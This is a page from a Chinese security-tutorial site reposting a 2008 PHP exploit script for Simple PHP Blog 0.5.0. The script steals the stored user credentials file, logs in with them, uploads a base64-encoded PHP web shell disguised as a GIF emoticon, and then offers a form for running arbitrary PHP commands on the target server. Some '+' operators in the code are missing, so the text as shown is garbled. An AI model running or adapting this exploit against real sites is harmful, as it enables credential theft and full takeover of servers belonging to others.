• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Simple PHP Blog (SPHPBlog)

Simple PHP Blog (SPHPBlog)

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Simple PHP Blog (SPHPBlog) ,其中包含simple php blog,simple 杰 blog,wx simple.php,simple html dom.php,php simplexmlelement等知识点,遇到此问题的同学们可以参考下
<?
/*
sIMPLE php bLOG 0.5.0 eXPLOIT
bY mAXzA 2008
*/
function curl($url,$postvar){
global $cook;
$ch = curl_init( $url );
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_HEADER, 1);
curl_setopt ($ch, CURLOPT_REFERER,"$url");
if (strlen($postvar)<3) $postvar="123";
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postvar);
if (strlen($cook)>3)
curl_setopt ($ch, CURLOPT_COOKIE, "$cook");
$res = curl_exec ($ch);$err=curl_error ( $ch );if ($err) print "<hr>$err<hr>";
curl_close($ch);
return $res;
} function error($msg){
print "<hr>$msg<hr>\n<h1>Not Exploitable";exit;
} extract($_POST);extract($_GET); print "<pre>URL:<form method=post><input size=80 name=url value=`$url`>";
if (strlen($eval)>3){
$eval=stripslashes($eval);
print "\nEnter PHP Command:\n<textarea name=eval rows=10 cols=90>$eval</textarea>";
print "<input type=submit value='Eval'></form>";
$res=curl("$url/images/emoticons/sphp.php","z=$eval");
$res=strstr($res,"GIF89a");
print substr($res,41);exit;
} if (strlen($url)>10)
{
print "\n<hr>Trying to Get /config/users.php...";flush();
$res=curl($url."/config/users.php","");
if (strstr($res,'|')) print "Done!\n\n$res";
else error("\n\nUsername & Password Not Found\n\n$res"); print "\n<hr>Trying to Get Username & Password...";flush();
$res=str_replace("\r\n","\n",$res);
$res=substr($res,strpos($res,"\n\n") 2);
$line=explode("\n",$res);$n=count($line)-1;
if ($n) {
print "\nDone! Found - $n users:\n";
for ($x=0;$x<$n;$x ){
$up=explode("|",$line[$x]);$user[$x]=$up[1];$pass[$x]=substr($up[2],0,2);
print "\nUsername - ".$up[1]."\tPassword - ".$up[2];
}
} print "\n<hr>Trying to Login...";flush();
$postvar="user=$user[0]&pass=$pass[0]&";
$res=curl($url."/login_cgi.php","$postvar");
$cook=strstr($res,'Set-Cookie: sid=');
$cook=substr($cook,12,strpos($cook,';')-12);
if ($cook) print "\n\nDone... Cookie - $cook";else error("\n<h1>Error To Login</h1>\n\n\n$res"); print "\n<hr>Trying to Upload Emoticon...";flush();
$buf="R0lGODlhAQABAIAAAP///wAAACH5BAEUAAAALAAAAAABAAEAAAICRAE8PyBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1Rbel0pKTtleGl0Oz8 Ow==";
if (@filesize('sphp.php')!=82){
$f=fopen('sphp.php',"w");fwrite($f,base64_decode($buf));fclose($f);
}
$f=getcwd()."/sphp.php";
$res=curl($url."/emoticons.php",array('user_emot'=>"@$f"));
if (strstr($res,"Success!")) print "\n\nDone! Exploit path - $url/images/emoticons/sphp.php"; else error("\n<h1>Error To Upload</h1>\n\n\n$res"); print "\n<hr>Trying to Exploit...";flush();
$res=curl($url."/images/emoticons/sphp.php","z=print 20080824;");
if (strstr($res,"20080824")) print "\n\nDone! Exploit Working!"; else error("\n<h1>Error To Exploit</h1>\n\n\n$res"); print "\n<hr>Trying to Logout...";flush();
$res=curl($url."/logout.php","");
if (strstr($res,"You are now logged out")) print "\n\nDone!"; else error("\n<h1>Error To Logout</h1>\n\n\n$res");
print "\nEnter PHP Command:\n<textarea name=eval rows=10 cols=90></textarea>";
}
print "<input type=submit ></form>";
?>

</div>

您可能想查找下面的文章:

  • Simple PHP Blog (SPHPBlog)

相关文章

  • Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c)
  • LoveCMS 1.6.2 Final Update Settings Remote Exploit
  • Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC
  • TGS CMS 0.3.2r2 Remote Code Execution Exploit
  • Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit
  • VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
  • OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC
  • pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability
  • File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • WS_FTP Home/Professional FTP Client Remote Format String PoC
    • Maian Events 2.0 Insecure Cookie Handling Vulnerability
    • MS Windows (MessageBox) Memory Corruption Local Denial of Service
    • EO Video 1.36 Local Heap Overflow DOS / PoC
    • fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (php)
    • 终端技巧 终端机常见绕过沙盘方法
    • Comdev Web Blogger
    • MS Windows (.doc File) Malformed Pointers Denial of Service Exploit
    • OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC
    • Maian Gallery 2.0 Insecure Cookie Handling Vulnerability

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有